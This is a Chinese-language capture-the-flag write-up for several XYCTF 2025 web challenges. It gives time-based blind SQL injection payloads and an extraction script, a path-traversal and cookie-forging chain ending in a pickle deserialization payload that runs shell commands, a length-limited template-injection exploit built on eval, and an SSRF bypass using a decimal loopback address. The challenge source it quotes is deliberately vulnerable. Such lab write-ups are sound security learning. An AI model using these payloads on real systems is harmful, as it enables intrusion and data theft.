前言:由于笔者能力有限,只写了自己能力以内的题的WP

ez_puzzle

js代码游戏 禁了一些常用快捷键 我的做法是将所有代码拉下来 自己本地用phpstudy起了一个服务

具体改源代码逻辑

4e7c83605519335fbb34e80ef7a6e426

e1f786e2281b5f3f98e80d775d510e06

1
if (G < yw4) 改为 if (G > yw4) 这个是判断时间是否小于两秒的逻辑 把其改为大于 自己玩一遍拼图就ok了

image-20250408191808338

flag{Y0u__aRe_a_mAsteR_of_PUzZL!!@!!~!}

ezsql(手动滑稽)

sql毋庸置疑 注入点是usrname 闭合时单引号 fuzz一下发现过滤了,空格等

1fb558d01d50d7ec0c8d4730cf4556a9

首先空格使用%09绕过 因为,被ban了的原因 很多语句都不可以用 使用 case when语句来进行时间盲注

语句构造:

!!!请注意:

python里盲注要把%09改为\t 因为request库会将\t编码为%09

爆数据库 //testdb

1
1'%09or%09CASE%09WHEN%09(ASCII(SUBSTRING((database())%09FROM%091%09FOR%091))>100)%09THEN%09SLEEP(2)%09ELSE%090%09END#         

爆表// double_check,user

1
1'%09or%09CASE%09WHEN%09(ASCII(SUBSTRING((SELECT%09GROUP_CONCAT(table_name)%09FROM%09information_schema.tables%09WHERE%09table_schema=database())%09FROM%091%09FOR%091))>100)%09THEN%09SLEEP(2)%09ELSE%090%09END#

爆列//secret,username,password

1
1'%09or%09CASE%09WHEN%09(ASCII(SUBSTRING((SELECT%09GROUP_CONCAT(column_name)%09FROM%09information_schema.columns%09WHERE%09table_schema=database())%09FROM%091%09FOR%091))>100)%09THEN%09SLEEP(2)%09ELSE%090%09END#

爆数据 //过滤了逗号一个一个

username=yudeyoushang

password=zhonghengyisheng

secret=dtfrtkcc0czkoua9S

1
2
3
4
5
1'%09or%09CASE%09WHEN%09(ASCII(SUBSTRING((SELECT%09GROUP_CONCAT(username)%09FROM%09double_check)%09FROM%091%09FOR%091))>100)%09THEN%09SLEEP(2)%09ELSE%090%09END#

1'%09or%09CASE%09WHEN%09(ASCII(SUBSTRING((SELECT%09GROUP_CONCAT(password)%09FROM%09double_check)%09FROM%091%09FOR%091))>100)%09THEN%09SLEEP(2)%09ELSE%090%09END#

1'%09or%09CASE%09WHEN%09(ASCII(SUBSTRING((SELECT%09GROUP_CONCAT(secret)%09FROM%09double_check)%09FROM%091%09FOR%091))>100)%09THEN%09SLEEP(2)%09ELSE%090%09END#

好了现在就是超级时刻 拿着爆出的账号密码登录 然后进入发现要输入密钥 输入secret爆出的东西 进入一个命令执行系统

执行命令就可以 过滤空格且无回显写入文件就好了 cat${IFS}/f*>1.txt

image-20250408222953224

sql时间盲注模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = "url"

def get_database(url):
name = ''
for i in range(1, 100):
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = f"1'\tor\tCASE\tWHEN\t(ASCII(SUBSTRING((SELECT\tGROUP_CONCAT(secret)\tFROM\tdouble_check)\tFROM\t{i}\tFOR\t1))>{mid})\tTHEN\tSLEEP(2)\tELSE\t0\tEND#"
params = {
"username": payload,
"password": "1",
}
start_time = time.time()
r = requests.post(url, data=params)
end_time = time.time()
if end_time - start_time >= 1.5:
low = mid + 1
else:
high = mid

if low == 32:
break

name += chr(low)
print(name)

get_database(url)

Signin

下载附件审计源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)

/download下存在目录穿越 但是过滤了../../搜寻资料用下./.././../

payload:./.././../secret.txt

获取到secret_key:Hell0_H@cker_Y0u_A3r_Sm@r7 那就进行session伪造

当前name:

"!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"

很奇怪对吧 丢给ai问下

image-20250409121717911

直接叫他帮你写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import base64
import hmac
import hashlib

secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"
# 1. 保持原始结构,只替换guest部分
original_structure = ['name', {'name': 'admin'}] # 关键修改点

# 2. 序列化
pickled_data = pickle.dumps(original_structure)
print("=== 编码前的恶意数据结构 ===")
print(f"Python对象: {original_structure}")
print(f"Pickle字节: {pickled_data}")

# 3. 生成cookie
encoded_data = base64.b64encode(pickled_data).decode('utf-8')
signature = hmac.new(secret, encoded_data.encode(), hashlib.sha256).digest()
malicious_cookie = f"!{base64.b64encode(signature).decode()}?{encoded_data}"

print("\n=== 最终恶意cookie ===")
print(malicious_cookie)
得到 !w7ggni+OONpuUroWJe5pEGGQSE1aUyCHrz6RoSzaQEA=?gASVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFYWRtaW6Uc2Uu

然后提交会触发 但是没什么用

image-20250409125440253

pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle
import base64
import hmac
import hashlib

secret = b"Hell0_H@cker_Y0u_A3r_Sm@r7"

class MaliciousPayload:
def __reduce__(self):
import os
return (os.system, ('cat /flag* > /flag',)) # 替换为你需要的命令

# 1. 保持原始结构,只替换guest部分
original_structure = ['name', {'name': MaliciousPayload()}] # 关键修改点

# 2. 序列化
pickled_data = pickle.dumps(original_structure)
print("=== 编码前的恶意数据结构 ===")
print(f"Python对象: {original_structure}")
print(f"Pickle字节: {pickled_data}")

# 3. 生成cookie
encoded_data = base64.b64encode(pickled_data).decode('utf-8')
signature = hmac.new(secret, encoded_data.encode(), hashlib.sha256).digest()
malicious_cookie = f"!{base64.b64encode(signature).decode()}?{encoded_data}"

print("\n=== 最终恶意cookie ===")
print(malicious_cookie)

注意这里有一点小坑:linux和win运行这个脚本的结果是不一样的

linux是

image-20250409125753421

win是

image-20250409125834889

linux的才是对的 问了问其他师傅 说是

win会记录 os.system 的 win 实现 nt.system
Linux记录的是 os.system 的 Linux 实现 posix.system

而脚本里的hash只要有一个字符就会不同 所以生成结果不同

image-20250409130131985

image-20250409130216257

XYCTF{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

出题人已疯

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

限制是25个字符 _import__('os').system('cat /f*>123') 这是要总共执行的payload 但是超过了25个字符 如何绕过呢

看了出题人的wp 本质上还是给一个变量不断地赋值 最后达到绕过25个字符的标准

类似的题可以见VNCTF2025 里的学生管理系统 VN里用的是海象表达式(因为题目是多行)

而这道题是单行 所以就将payload按照几个字符一组 弄成了列表 通过循环不断赋值

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'url/attack'

payload = "__import__('os').system('cat /f*>123')"

p = [payload[i:i+3] for i in range(0,len(payload),3)]
flag = True
for i in p:
if flag:
tmp = f'\n%import os;os.a="{i}"'
flag = False
else:
tmp = f'\n%import os;os.a+="{i}"'
r = requests.get(url,params={"payload":tmp})

r = requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r = requests.get(url,params={"payload":"\n%include('123')"}).text //这一步是读取服务器下的生成的文件123
print(r)

image-20250409212644622

flag{L@men7XU_d0es_n0t_w@nt_t0_g0_t0_scho01}

Fate

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

@app.route('/proxy', methods=['GET'])
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')

target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)

return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
found = cur.fetchone()
return None if found is None else found[0]

@app.route('/')
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")

@app.route('/1337', methods=['GET'])
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")

name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""

fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")

return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")

if __name__ == '__main__':
app.run(debug=True)

/proxy路由下进行ssrf 但是过滤了. 就尝试用十进制来绕过本地回环地址 当加入@ 就只解析@后面的网址 要访问本地的/1337路由

于是写入payload/proxy?url=@2130706433:8080/1337

然后/1337路由下要满足传入的0参数值为abcdefghi 但是黑名单是过滤了字母 这里就有个小trick url二次编码绕过

满足后又可以传入1参数 1 要进行sql注入

1
2
3
4
5
6
7
8
9
10
11
12
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sqlite3

conn = sqlite3.connect("database.db")
conn.execute("""CREATE TABLE FATETABLE (
NAME TEXT NOT NULL,
FATE TEXT NOT NULL
);""")
Fate = [
('JOHN', '1994-2030 Dead in a car accident'),
('JANE', '1990-2025 Lost in a fire'),
('SARAH', '1982-2017 Fired by a government official'),
('DANIEL', '1978-2013 Murdered by a police officer'),
('LUKE', '1974-2010 Assassinated by a military officer'),
('KAREN', '1970-2006 Fallen from a cliff'),
('BRIAN', '1966-2002 Drowned in a river'),
('ANNA', '1962-1998 Killed by a bomb'),
('JACOB', '1954-1990 Lost in a plane crash'),
('LAMENTXU', r'2024 Send you a flag flag{FAKE}')
]
conn.executemany("INSERT INTO FATETABLE VALUES (?, ?)", Fate)

conn.commit()
conn.close()

请注意&要urlencode编码

要用desc可以逆向查询

1
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=011110110010001001101110011000010110110101100101001000100011101001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001100010111110101111101

flag{Do4t_bElIevE_in_FatE_Y1s_Y0u_2_a_Js0n_ge1nus!}

总结

这是本新手第一次参加XYCTF 反正我自己挺坐牢的( 赛题web就出了三道简单题 但是可以学到东西就好

SSTI考难了根本不会(× 还有一些自己不熟悉的小trick 不过慢慢来!